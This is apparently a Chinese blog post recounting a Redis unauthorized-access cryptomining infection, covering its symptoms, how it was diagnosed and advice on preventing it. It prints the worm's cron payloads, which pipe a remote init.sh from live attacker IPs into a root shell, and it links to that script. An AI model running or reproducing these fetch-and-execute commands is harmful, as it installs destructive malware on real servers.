Redis扩散病毒之Redis数据丢失并设置backup
前言
博主近两天在做一个demo项目,项目中使用到了Redis,为了方便省事,博主用docker开启了一个Redis,并且没有设置密码,注意没有设置密码,因此导致了病毒有机可乘。那到底是什么样的病毒呢,以及会产生什么样的现象呢?
现象
你的Redis中自己的所有的key全部消失,同时只会剩下4个key分别为backup1、backup2、backup3、backup4,并且这种现象是周期性的,也就是说每隔一段时间你的Redis会flushall一次同时插入4个backup的key。
四个backup以及对应的值分别如下图所示:
backup1:
*/2 * * * * root cd1 -fsSL http://194.87.139.103:8080/cleanfda/init.sh | sh
backup2:
*/3 * * * * root wget -q -O- http://194.87.139.103:8080/cleanfda/init.sh | sh
backup3:
*/4 * * * * root curl -fsSL http://45.83.123.29/cleanfda/init.sh | sh
backup4:
*/5 * * * * root wd1 -q -O- http://45.83.123.29/cleanfda/init.sh | sh\
我的排查
出现了这种现象,我是怎么发现以及排查的呢?
初次显露
首先,刚开始做demo项目的时候,我没有在意,因为我的大部分key设置了TTL,因此过期是觉得很正常的,并且最后剩下4个backup的key,我认为是Redis是为了备份某些数据而存入的,毕竟key的名字是backup(可被翻译为备份),所以我就没关心。
但是,当我往Redis中放入stream消息队列的时候,我是没有设置TTL,因为我的demo项目会启动一个线程循环去MQ中取消息。出现严重的现象是,每隔一段时间,我的控制台就无限报错,发现是由于循环去MQ取消息造成的报错,于是我去Redis中查看stream队列是否存在,惊讶的发现已经没有了!!
发现问题
出现这种现象是我不能忍受的,于是我开启了Redis的监控功能,命令如下:
127.0.0.1:6379> monitor > /home/find_question.txt
意思是说,把redis执行的命令输入到find_question.txt文件中。
等到数据再次丢失的时候,我直接取这个文件中查看。
惊人的发现有flushall命令!!!并且还不止一处!!!同时设置了4个backup。也就是说给我安了个定时任务,定时执行这些命令!!!
孬蛋,被我发现了吧 😡😡😡
病毒脚本分析
4个backup对应的value值如下
*/2 * * * * root cd1 -fsSL http://194.87.139.103:8080/cleanfda/init.sh | sh
*/3 * * * * root wget -q -O- http://194.87.139.103:8080/cleanfda/init.sh | sh
*/4 * * * * root curl -fsSL http://45.83.123.29/cleanfda/init.sh | sh
*/5 * * * * root wd1 -q -O- http://45.83.123.29/cleanfda/init.sh | sh\
虽然我看不很懂,但是能看出个大概,我们知道wget是用来下载东西的,curl是用于执行HTTP请求的(我们网站发送的HTTP请求底层正式curl命令),也就是你你在我服务器里下载了某些脚本,并且你的请求路径还有个cleanfda不就意味着清理吗。
查看他的脚本文件
好家伙,又是给我改权限,又是给我删东西。😡😡😡!!
具体内容大家可以查看: http://45.83.123.29/cleanfda/init.sh
总之,他会关闭你的防火墙,删除日志文件,删除各种东西,杀掉某些进程 ,删除镜像等等,这对于你的系统是致命的。
查询下IP
好家伙,你去外国的服务器给我下载了东西。
博主也是为了验证下给大家避避雷,在服务器执行了这个脚本,结果发生了惨案,整个服务器算是废掉了,大部分命令都不能使用了,又重做了系统 。
可以看到他在我服务器执行了整个脚本,尝试删除一堆东西。。。最后我的服务器算是不能用了。之前好歹是在Docker容器中,不会对系统造成损害,这次是真寄了。
病毒说明
通过查资料得知,这是一种Redis扩散病毒,专门利用Redis未授权访问漏洞的挖矿病毒。对!你的Redis没设置密码,没授权,让病毒有了可乘之机。
病毒会在你系统上下载恶意脚本,危害系统安全!!
预防措施
一定要设置密码!
一定要设置密码!
一定要设置密码!
Linux系统安装Redis一定要设置密码,否则被入侵之后,后果很严重!!
如果用Docker启动Redis,最好使用IP绑定同时也要设置密码,不指定IP,那么默认是 0.0.0.0:6379,Docker 设置防火墙开放 0.0.0.0:6379,任何 IP 都可以访问 6379。